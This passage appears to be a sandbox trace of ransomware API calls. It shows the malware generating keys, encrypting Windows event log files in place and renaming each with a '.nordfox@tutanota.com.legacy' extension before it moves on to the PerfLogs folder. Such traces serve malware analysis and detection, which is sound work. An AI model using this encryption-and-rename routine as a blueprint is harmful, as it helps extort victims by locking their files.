lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.062] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.063] CloseHandle (hObject=0x460) returned 1 [0090.068] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0090.068] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0090.068] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0090.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0090.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0090.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0090.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0090.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0090.071] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0090.071] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0090.071] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0090.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0090.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ead0 [0090.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0090.072] CreateFileW (lpFileName="\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0090.073] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0090.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0090.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0090.073] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.088] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.088] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.089] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0090.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0090.092] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0090.093] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.093] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.094] WriteFile (in: hFile=0x460, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.094] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.095] CloseHandle (hObject=0x460) returned 1 [0090.105] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0090.105] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0090.105] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.107] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ead0 | out: hHeap=0x520000) returned 1 [0090.107] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0090.107] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5698c8 | out: hHeap=0x520000) returned 1 [0090.107] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0090.107] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0090.107] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0090.107] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0090.107] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0090.107] SetFileAttributesW (lpFileName="\\Logs\\Key Management Service.evtx", dwFileAttributes=0x80) returned 1 [0090.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0090.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0090.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0090.108] CreateFileW (lpFileName="\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0090.108] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0090.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0090.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0090.108] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.112] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.113] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0090.114] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0090.117] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0090.117] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.117] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.122] WriteFile (in: hFile=0x460, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.122] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.123] CloseHandle (hObject=0x460) returned 1 [0090.132] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0090.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0090.133] MoveFileExW (lpExistingFileName="\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), lpNewFileName="\\Logs\\Key Management Service.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\key management service.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0090.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0090.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0090.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f50 [0090.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0090.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0090.144] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0090.144] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0090.144] SetFileAttributesW (lpFileName="\\Logs\\Internet Explorer.evtx", dwFileAttributes=0x80) returned 1 [0090.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e30 [0090.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0090.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e30 | out: hHeap=0x520000) returned 1 [0090.145] CreateFileW (lpFileName="\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0090.145] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0090.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0090.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0090.145] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.154] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.154] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0090.156] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0090.158] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0090.158] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.158] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.160] WriteFile (in: hFile=0x460, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.160] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.160] CloseHandle (hObject=0x460) returned 1 [0090.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0090.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0090.169] MoveFileExW (lpExistingFileName="\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), lpNewFileName="\\Logs\\Internet Explorer.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\internet explorer.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.170] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0090.170] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f50 | out: hHeap=0x520000) returned 1 [0090.170] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0090.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0090.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0090.171] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0090.171] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0090.171] SetFileAttributesW (lpFileName="\\Logs\\HardwareEvents.evtx", dwFileAttributes=0x80) returned 1 [0090.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0090.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0090.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0090.172] CreateFileW (lpFileName="\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0090.172] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0090.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0090.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0090.173] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.189] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.189] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0090.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0090.193] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0090.193] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.193] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.195] WriteFile (in: hFile=0x460, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.195] WriteFile (in: hFile=0x460, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.195] CloseHandle (hObject=0x460) returned 1 [0090.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0090.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0090.208] MoveFileExW (lpExistingFileName="\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), lpNewFileName="\\Logs\\HardwareEvents.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\hardwareevents.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0090.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0090.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0090.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0090.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0090.211] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0090.211] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0090.211] SetFileAttributesW (lpFileName="\\Logs\\Application.evtx", dwFileAttributes=0x80) returned 1 [0090.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566fc8 [0090.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0090.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x520000) returned 1 [0090.212] CreateFileW (lpFileName="\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0090.213] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0090.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0090.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0090.213] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.228] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.228] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0090.229] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0090.230] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0090.232] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0090.233] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.233] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.234] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.235] WriteFile (in: hFile=0x460, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.235] CloseHandle (hObject=0x460) returned 1 [0090.240] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0090.240] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0090.240] MoveFileExW (lpExistingFileName="\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), lpNewFileName="\\Logs\\Application.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\application.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0090.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0090.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0090.242] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0090.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b58 | out: hHeap=0x520000) returned 1 [0090.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0090.242] FindFirstFileW (in: lpFileName="\\PerfLogs\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb8461630, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552e20 [0090.243] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0090.243] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.243] GetLastError () returned 0x0 [0090.243] SetLastError (dwErrCode=0x0) [0090.243] GetLastError () returned 0x0 [0090.243] SetLastError (dwErrCode=0x0) [0090.243] GetLastError () returned 0x0 [0090.244] SetLastError (dwErrCode=0x0) [0090.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0090.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0090.244] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0090.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.244] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553020 [0090.244] HeapFree (in: 